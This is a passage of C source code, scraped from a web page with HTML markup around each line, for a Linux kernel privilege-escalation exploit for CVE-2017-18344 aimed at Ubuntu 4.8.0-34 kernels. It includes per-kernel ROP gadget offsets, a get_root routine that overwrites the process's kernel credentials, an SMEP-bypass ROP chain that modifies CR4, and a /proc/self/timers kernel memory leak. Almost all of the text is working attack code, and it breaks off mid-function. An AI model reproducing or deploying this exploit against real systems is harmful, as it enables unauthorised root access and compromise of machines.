class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">// Will be overwritten after leak.</span></code><code><span class="code-snippet_outer">unsigned long KERNEL_BASE = 0xffffffff81000000ul;</span></code><code><span class="code-snippet_outer">#define MIN_KERNEL_BASE 0xffffffff81000000ul</span></code><code><span class="code-snippet_outer">#define MAX_KERNEL_BASE 0xffffffffff000000ul</span></code><code><span class="code-snippet_outer">#define MAX_KERNEL_IMAGE 0x8000000ul // 128 MB</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define MMAP_ADDR_SPAN (MAX_KERNEL_BASE - MIN_KERNEL_BASE + MAX_KERNEL_IMAGE)</span></code><code><span class="code-snippet_outer">#define MMAP_ADDR_START 0x200000000ul</span></code><code><span class="code-snippet_outer">#define MMAP_ADDR_END (MMAP_ADDR_START + MMAP_ADDR_SPAN) // 0x286000000L</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define OPTIMAL_PTR_OFFSET ((MMAP_ADDR_START - MIN_KERNEL_BASE) / 8) // == 0x4fe00000L</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define MAX_MAPPINGS 1024</span></code><code><span class="code-snippet_outer">#define MEMFD_SIZE (MMAP_ADDR_SPAN / MAX_MAPPINGS)</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">// Will be overwritten by detect_versions().</span></code><code><span class="code-snippet_outer">int kernel = -1;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">struct kernel_info {</span></code><code><span class="code-snippet_outer"> const char* distro;</span></code><code><span class="code-snippet_outer"> const char* version;</span></code><code><span class="code-snippet_outer"> uint64_t commit_creds;</span></code><code><span class="code-snippet_outer"> uint64_t prepare_kernel_cred;</span></code><code><span class="code-snippet_outer"> uint64_t xchg_eax_esp_ret;</span></code><code><span class="code-snippet_outer"> uint64_t pop_rdi_ret;</span></code><code><span class="code-snippet_outer"> uint64_t mov_dword_ptr_rdi_eax_ret;</span></code><code><span class="code-snippet_outer"> uint64_t mov_rax_cr4_ret;</span></code><code><span class="code-snippet_outer"> uint64_t neg_rax_ret;</span></code><code><span class="code-snippet_outer"> uint64_t pop_rcx_ret;</span></code><code><span class="code-snippet_outer"> uint64_t or_rax_rcx_ret;</span></code><code><span class="code-snippet_outer"> uint64_t xchg_eax_edi_ret;</span></code><code><span class="code-snippet_outer"> uint64_t mov_cr4_rdi_ret;</span></code><code><span class="code-snippet_outer"> uint64_t jmp_rcx;</span></code><code><span class="code-snippet_outer"> uint64_t divide_error;</span></code><code><span class="code-snippet_outer"> uint64_t copy_fs_struct;</span></code><code><span class="code-snippet_outer">};</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">struct kernel_info kernels[] = {</span></code><code><span class="code-snippet_outer"> { "quantal", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80, 0x897200, 0x269b50},</span></code><code><span class="code-snippet_outer"> { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80, 0x897200, 0x269b50},</span></code><code><span class="code-snippet_outer">};</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">// Used to get root privileges.</span></code><code><span class="code-snippet_outer">#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)</span></code><code><span class="code-snippet_outer">#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define COPY_FS_STRUCT (KERNEL_BASE + kernels[kernel].copy_fs_struct)</span></code><code><span class="code-snippet_outer">#define TASK_PID_OFFSET 0x4C8</span></code><code><span class="code-snippet_outer">#define TASK_REAL_PARENT_OFFSET 0x4D8</span></code><code><span class="code-snippet_outer">#define TASK_FS_OFFSET 0x6B0</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">// Used when ENABLE_SMEP_BYPASS is used.</span></code><code><span class="code-snippet_outer">// - xchg eax, esp ; ret</span></code><code><span class="code-snippet_outer">// - pop rdi ; ret</span></code><code><span class="code-snippet_outer">// - mov dword ptr [rdi], eax ; ret</span></code><code><span class="code-snippet_outer">// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret</span></code><code><span class="code-snippet_outer">// - neg rax ; ret</span></code><code><span class="code-snippet_outer">// - pop rcx ; ret</span></code><code><span class="code-snippet_outer">// - or rax, rcx ; ret</span></code><code><span class="code-snippet_outer">// - xchg eax, edi ; ret</span></code><code><span class="code-snippet_outer">// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret</span></code><code><span class="code-snippet_outer">// - jmp rcx</span></code><code><span class="code-snippet_outer">#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)</span></code><code><span class="code-snippet_outer">#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)</span></code><code><span class="code-snippet_outer">#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)</span></code><code><span class="code-snippet_outer">#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)</span></code><code><span class="code-snippet_outer">#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)</span></code><code><span class="code-snippet_outer">#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)</span></code><code><span class="code-snippet_outer">#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)</span></code><code><span class="code-snippet_outer">#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)</span></code><code><span class="code-snippet_outer">#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)</span></code><code><span class="code-snippet_outer">#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);</span></code><code><span class="code-snippet_outer">typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);</span></code><code><span class="code-snippet_outer">typedef unsigned long __attribute__((regparm(3))) (*_copy_fs_struct)(unsigned long init_task);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">uint64_t get_task(void) {</span></code><code><span class="code-snippet_outer"> uint64_t task;</span></code><code><span class="code-snippet_outer"> asm volatile ("movq %%gs: 0xD380, %0":"=r"(task));</span></code><code><span class="code-snippet_outer"> return task;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">void get_root(void) {</span></code><code><span class="code-snippet_outer"> char *task;</span></code><code><span class="code-snippet_outer"> char *init;</span></code><code><span class="code-snippet_outer"> uint32_t pid = 0;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> ((_commit_creds)(COMMIT_CREDS))(</span></code><code><span class="code-snippet_outer"> ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> task = (char *)get_task();</span></code><code><span class="code-snippet_outer"> init = task;</span></code><code><span class="code-snippet_outer"> while (pid != 1) {</span></code><code><span class="code-snippet_outer"> init = *(char **)(init + TASK_REAL_PARENT_OFFSET);</span></code><code><span class="code-snippet_outer"> pid = *(uint32_t *)(init + TASK_PID_OFFSET);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> *(uint64_t *)(task + TASK_FS_OFFSET) = ((_copy_fs_struct)(COPY_FS_STRUCT))(*(long unsigned int *)(init + TASK_FS_OFFSET));</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">uint64_t saved_esp;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">// Unfortunately GCC does not support `__atribute__((naked))` on x86, which</span></code><code><span class="code-snippet_outer">// can be used to omit a function's prologue, so I had to use this weird</span></code><code><span class="code-snippet_outer">// wrapper hack as a workaround. Note: Clang does support it, which means it</span></code><code><span class="code-snippet_outer">// has better support of GCC attributes than GCC itself. Funny.</span></code><code><span class="code-snippet_outer">void wrapper() {</span></code><code><span class="code-snippet_outer"> asm volatile (" n</span></code><code><span class="code-snippet_outer"> payload: n</span></code><code><span class="code-snippet_outer"> movq %%rbp, %%rax n</span></code><code><span class="code-snippet_outer"> movq $0xffffffff00000000, %%rdx n</span></code><code><span class="code-snippet_outer"> andq %%rdx, %%rax n</span></code><code><span class="code-snippet_outer"> movq %0, %%rdx n</span></code><code><span class="code-snippet_outer"> addq %%rdx, %%rax n</span></code><code><span class="code-snippet_outer"> movq %%rax, %%rsp n</span></code><code><span class="code-snippet_outer"> call get_root n</span></code><code><span class="code-snippet_outer"> ret n</span></code><code><span class="code-snippet_outer"> " : : "m"(saved_esp) : );</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">void payload();</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define CHAIN_SAVE_ESP </span></code><code><span class="code-snippet_outer"> *stack++ = POP_RDI_RET; </span></code><code><span class="code-snippet_outer"> *stack++ = (uint64_t)&saved_esp; </span></code><code><span class="code-snippet_outer"> *stack++ = MOV_DWORD_PTR_RDI_EAX_RET;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define SMEP_MASK 0x100000</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define CHAIN_DISABLE_SMEP </span></code><code><span class="code-snippet_outer"> *stack++ = MOV_RAX_CR4_RET; </span></code><code><span class="code-snippet_outer"> *stack++ = NEG_RAX_RET; </span></code><code><span class="code-snippet_outer"> *stack++ = POP_RCX_RET; </span></code><code><span class="code-snippet_outer"> *stack++ = SMEP_MASK; </span></code><code><span class="code-snippet_outer"> *stack++ = OR_RAX_RCX_RET; </span></code><code><span class="code-snippet_outer"> *stack++ = NEG_RAX_RET; </span></code><code><span class="code-snippet_outer"> *stack++ = XCHG_EAX_EDI_RET; </span></code><code><span class="code-snippet_outer"> *stack++ = MOV_CR4_RDI_RET;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define CHAIN_JMP_PAYLOAD </span></code><code><span class="code-snippet_outer"> *stack++ = POP_RCX_RET; </span></code><code><span class="code-snippet_outer"> *stack++ = (uint64_t)&payload; </span></code><code><span class="code-snippet_outer"> *stack++ = JMP_RCX;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">void mmap_stack() {</span></code><code><span class="code-snippet_outer"> uint64_t stack_aligned, stack_addr;</span></code><code><span class="code-snippet_outer"> int page_size, stack_size, stack_offset;</span></code><code><span class="code-snippet_outer"> uint64_t* stack;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> page_size = getpagesize();</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);</span></code><code><span class="code-snippet_outer"> stack_addr = stack_aligned - page_size * 4;</span></code><code><span class="code-snippet_outer"> stack_size = page_size * 8;</span></code><code><span class="code-snippet_outer"> stack_offset = XCHG_EAX_ESP_RET % page_size;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,</span></code><code><span class="code-snippet_outer"> MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);</span></code><code><span class="code-snippet_outer"> if (stack == MAP_FAILED || stack != (void*)stack_addr) {</span></code><code><span class="code-snippet_outer"> perror("[-] mmap()");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> stack = (uint64_t*)((char*)stack_aligned + stack_offset);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> CHAIN_SAVE_ESP;</span></code><code><span class="code-snippet_outer"> CHAIN_DISABLE_SMEP;</span></code><code><span class="code-snippet_outer"> CHAIN_JMP_PAYLOAD;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">// * * * Below is code for CVE-2017-18344 * * * //</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static struct proc_reader g_proc_reader;</span></code><code><span class="code-snippet_outer">static unsigned long g_leak_ptr_addr = 0;</span></code><code><span class="code-snippet_outer">#define PROC_INITIAL_SIZE 1024</span></code><code><span class="code-snippet_outer">#define PROC_CHUNK_SIZE 1024</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">struct proc_reader {</span></code><code><span class="code-snippet_outer"> char *buffer;</span></code><code><span class="code-snippet_outer"> int buffer_size;</span></code><code><span class="code-snippet_outer"> int read_size;</span></code><code><span class="code-snippet_outer">};</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static void proc_init(struct proc_reader* pr) {</span></code><code><span class="code-snippet_outer"> debug2("proc_init: %pn", pr);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> pr->buffer = malloc(PROC_INITIAL_SIZE);</span></code><code><span class="code-snippet_outer"> if (pr->buffer == NULL) {</span></code><code><span class="code-snippet_outer"> perror("[-] proc_init: malloc()");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> pr->buffer_size = PROC_INITIAL_SIZE;</span></code><code><span class="code-snippet_outer"> pr->read_size = 0;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> debug2("proc_init = voidn");</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static void proc_ensure_size(struct proc_reader* pr, int size) {</span></code><code><span class="code-snippet_outer"> if (pr->buffer_size >= size)</span></code><code><span class="code-snippet_outer"> return;</span></code><code><span class="code-snippet_outer"> while (pr->buffer_size < size)</span></code><code><span class="code-snippet_outer"> pr->buffer_size <<= 1;</span></code><code><span class="code-snippet_outer"> pr->buffer = realloc(pr->buffer, pr->buffer_size);</span></code><code><span class="code-snippet_outer"> if (pr->buffer == NULL) {</span></code><code><span class="code-snippet_outer"> perror("[-] proc_ensure_size: realloc()");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static int proc_read(struct proc_reader* pr, const char *file) {</span></code><code><span class="code-snippet_outer"> debug2("proc_read: file: %s, pr->buffer_size: %dn",</span></code><code><span class="code-snippet_outer"> file, pr->buffer_size);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> int fd = open(file, O_RDONLY);</span></code><code><span class="code-snippet_outer"> if (fd == -1) {</span></code><code><span class="code-snippet_outer"> perror("[-] proc_read: open()");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> pr->read_size = 0;</span></code><code><span class="code-snippet_outer"> while (true) {</span></code><code><span class="code-snippet_outer"> proc_ensure_size(pr, pr->read_size + PROC_CHUNK_SIZE);</span></code><code><span class="code-snippet_outer"> int bytes_read = read(fd, &pr->buffer[pr->read_size],</span></code><code><span class="code-snippet_outer"> PROC_CHUNK_SIZE);</span></code><code><span class="code-snippet_outer"> if (bytes_read == -1) {</span></code><code><span class="code-snippet_outer"> perror("[-] read(proc)");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> pr->read_size += bytes_read;</span></code><code><span class="code-snippet_outer"> if (bytes_read < PROC_CHUNK_SIZE)</span></code><code><span class="code-snippet_outer"> break;</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> close(fd);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> debug2("proc_read len = %dn", pr->read_size);</span></code><code><span class="code-snippet_outer"> return pr->read_size;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">/* sigval */</span></code><code><span class="code-snippet_outer">typedef union k_sigval {</span></code><code><span class="code-snippet_outer"> int sival_int;</span></code><code><span class="code-snippet_outer"> void *sival_ptr;</span></code><code><span class="code-snippet_outer">} k_sigval_t;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define __ARCH_SIGEV_PREAMBLE_SIZE (sizeof(int) * 2 + sizeof(k_sigval_t))</span></code><code><span class="code-snippet_outer">#define SIGEV_MAX_SIZE 64</span></code><code><span class="code-snippet_outer">#define SIGEV_PAD_SIZE ((SIGEV_MAX_SIZE - __ARCH_SIGEV_PREAMBLE_SIZE) </span></code><code><span class="code-snippet_outer"> / sizeof(int))</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">typedef struct k_sigevent {</span></code><code><span class="code-snippet_outer"> k_sigval_t sigev_value;</span></code><code><span class="code-snippet_outer"> int sigev_signo;</span></code><code><span class="code-snippet_outer"> int sigev_notify;</span></code><code><span class="code-snippet_outer"> union {</span></code><code><span class="code-snippet_outer"> int _pad[SIGEV_PAD_SIZE];</span></code><code><span class="code-snippet_outer"> int _tid;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> struct {</span></code><code><span class="code-snippet_outer"> void (*_function)(sigval_t);</span></code><code><span class="code-snippet_outer"> void *_attribute;</span></code><code><span class="code-snippet_outer"> } _sigev_thread;</span></code><code><span class="code-snippet_outer"> } _sigev_un;</span></code><code><span class="code-snippet_outer">} k_sigevent_t;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static void leak_setup() {</span></code><code><span class="code-snippet_outer"> k_sigevent_t se;</span></code><code><span class="code-snippet_outer"> memset(&se, 0, sizeof(se));</span></code><code><span class="code-snippet_outer"> se.sigev_signo = SIGRTMIN;</span></code><code><span class="code-snippet_outer"> se.sigev_notify = OPTIMAL_PTR_OFFSET;</span></code><code><span class="code-snippet_outer"> timer_t timerid = 0;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> int rv = syscall(SYS_timer_create, CLOCK_REALTIME,</span></code><code><span class="code-snippet_outer"> (void *)&se, &timerid);</span></code><code><span class="code-snippet_outer"> if (rv != 0) {</span></code><code><span class="code-snippet_outer"> perror("[-] timer_create()");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static void leak_parse(char *in, int in_len, char **start, char **end) {</span></code><code><span class="code-snippet_outer"> const char *needle = "notify: ";</span></code><code><span class="code-snippet_outer"> *start = memmem(in, in_len, needle, strlen(needle));</span></code><code><span class="code-snippet_outer"> assert(*start != NULL);</span></code><code><span class="code-snippet_outer"> *start += strlen(needle);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> assert(in_len > 0);</span></code><code><span class="code-snippet_outer"> assert(in[in_len - 1] == 'n');</span></code><code><span class="code-snippet_outer"> *end = &in[in_len - 2];</span></code><code><span class="code-snippet_outer"> while (*end > in && **end != 'n')</span></code><code><span class="code-snippet_outer"> (*end)--;</span></code><code><span class="code-snippet_outer"> assert(*end > in);</span></code><code><span class="code-snippet_outer"> while (*end > in && **end != '/')</span></code><code><span class="code-snippet_outer"> (*end)--;</span></code><code><span class="code-snippet_outer"> assert(*end > in);</span></code><code><span class="code-snippet_outer"> assert((*end)[1] = 'p' && (*end)[2] == 'i' && (*end)[3] == 'd');</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> assert(*end >= *start);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static void leak_once(char **start, char **end) {</span></code><code><span class="code-snippet_outer"> int read_size = proc_read(&g_proc_reader, "/proc/self/timers");</span></code><code><span class="code-snippet_outer"> leak_parse(g_proc_reader.buffer, read_size, start, end);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static int leak_once_and_copy(char *out, int out_len) {</span></code><code><span class="code-snippet_outer"> assert(out_len > 0);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> char *start, *end;</span></code><code><span class="code-snippet_outer"> leak_once(&start, &end);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> int size = min(end - start, out_len);</span></code><code><span class="code-snippet_outer"> memcpy(out, start, size);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> if (size == out_len)</span></code><code><span class="code-snippet_outer"> return size;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> out[size] = 0;</span></code><code><span class="code-snippet_outer"> return size + 1;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static void leak_range(unsigned long addr, size_t length, char *out) {</span></code><code><span class="code-snippet_outer"> size_t total_leaked = 0;</span></code><code><span class="code-snippet_outer"> while (total_leaked < 16) {</span></code><code><span class="code-snippet_outer"> unsigned long addr_to_leak = addr + total_leaked;</span></code><code><span class="code-snippet_outer"> *(unsigned long *)g_leak_ptr_addr = addr_to_leak;</span></code><code><span class="code-snippet_outer"> debug2("leak_range: offset %ld, addr: %lxn",</span></code><code><span class="code-snippet_outer"> total_leaked, addr_to_leak);</span></code><code><span class="code-snippet_outer"> int leaked = leak_once_and_copy(out + total_leaked,</span></code><code><span class="code-snippet_outer"> length - total_leaked);</span></code><code><span class="code-snippet_outer"> total_leaked += leaked;</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">// k_sigval</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static void mmap_fixed(unsigned long addr, size_t size) {</span></code><code><span class="code-snippet_outer"> void *rv = mmap((void *)addr, size, PROT_READ | PROT_WRITE,</span></code><code><span class="code-snippet_outer"> MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);</span></code><code><span class="code-snippet_outer"> if (rv != (void *)addr) {</span></code><code><span class="code-snippet_outer"> perror("[-] mmap()");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static void mmap_fd_over(int fd, unsigned long fd_size, unsigned long start,</span></code><code><span class="code-snippet_outer"> unsigned long end) {</span></code><code><span class="code-snippet_outer"> int page_size = PAGE_SIZE;</span></code><code><span class="code-snippet_outer"> assert(fd_size % page_size == 0);</span></code><code><span class="code-snippet_outer"> assert(start % page_size == 0);</span></code><code><span class="code-snippet_outer"> assert(end % page_size == 0);</span></code><code><span class="code-snippet_outer"> assert((end - start) % fd_size == 0);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> debug2("mmap_fd_over: [%lx, %lx)n", start, end);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> unsigned long addr;</span></code><code><span class="code-snippet_outer"> for (addr = start; addr < end; addr += fd_size) {</span></code><code><span class="code-snippet_outer"> void *rv = mmap((void *)addr, fd_size, PROT_READ,</span></code><code><span class="code-snippet_outer"> MAP_FIXED | MAP_PRIVATE, fd, 0);</span></code><code><span class="code-snippet_outer"> if (rv != (void *)addr) {</span></code><code><span class="code-snippet_outer"> perror("[-] mmap()");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> debug1("mmap_fd_over = voidn");</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static void remap_fd_over(int fd, unsigned long fd_size, unsigned long start,</span></code><code><span class="code-snippet_outer"> unsigned long end) {</span></code><code><span class="code-snippet_outer"> int rv = munmap((void *)start, end - start);</span></code><code><span class="code-snippet_outer"> if (rv != 0) {</span></code><code><span class="code-snippet_outer"> perror("[-] munmap()");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> mmap_fd_over(fd, fd_size, start, end);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define MEMFD_CHUNK_SIZE 0x1000</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static int create_filled_memfd(const char *name, unsigned long size,</span></code><code><span class="code-snippet_outer"> unsigned long value) {</span></code><code><span class="code-snippet_outer"> int i;</span></code><code><span class="code-snippet_outer"> char buffer[MEMFD_CHUNK_SIZE];</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> assert(size % MEMFD_CHUNK_SIZE == 0);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> int fd = syscall(SYS_memfd_create, name, 0);</span></code><code><span class="code-snippet_outer"> if (fd < 0) {</span></code><code><span class="code-snippet_outer"> perror("[-] memfd_create()");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> for (i = 0; i < sizeof(buffer) / sizeof(value); i++)</span></code><code><span class="code-snippet_outer"> *(unsigned long *)&buffer[i * sizeof(value)] = value;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> for (i = 0; i < size / sizeof(buffer); i++) {</span></code><code><span class="code-snippet_outer"> int bytes_written = write(fd, &buffer[0], sizeof(buffer));</span></code><code><span class="code-snippet_outer"> if (bytes_written != sizeof(buffer)) {</span></code><code><span class="code-snippet_outer"> perror("[-] write(memfd)");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> return fd;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define CPUINFO_SMEP 1</span></code><code><span class="code-snippet_outer">#define CPUINFO_SMAP 2</span></code><code><span class="code-snippet_outer">#define CPUINFO_KAISER 4</span></code><code><span class="code-snippet_outer">#define CPUINFO_PTI 8</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static const char *evil = "evil";</span></code><code><span class="code-snippet_outer">static const char *good = "good";</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static bool bisect_probe() {</span></code><code><span class="code-snippet_outer"> char *start, *end;</span></code><code><span class="code-snippet_outer"> leak_once(&start, &end);</span></code><code><span class="code-snippet_outer"> return *start == 'g';</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static unsigned long bisect_via_memfd(unsigned long fd_size,</span></code><code><span class="code-snippet_outer"> unsigned long start, unsigned long end) {</span></code><code><span class="code-snippet_outer"> assert((end - start) % fd_size == 0);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> int fd_evil = create_filled_memfd("evil", fd_size, (unsigned long)evil);</span></code><code><span class="code-snippet_outer"> int fd_good = create_filled_memfd("good", fd_size, (unsigned long)good);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> unsigned long left = 0;</span></code><code><span class="code-snippet_outer"> unsigned long right = (end - start) / fd_size;</span></code><code><span class="code-snippet_outer"> debug2("bisect_via_memfd: right starts at 0x%lx unitsn", 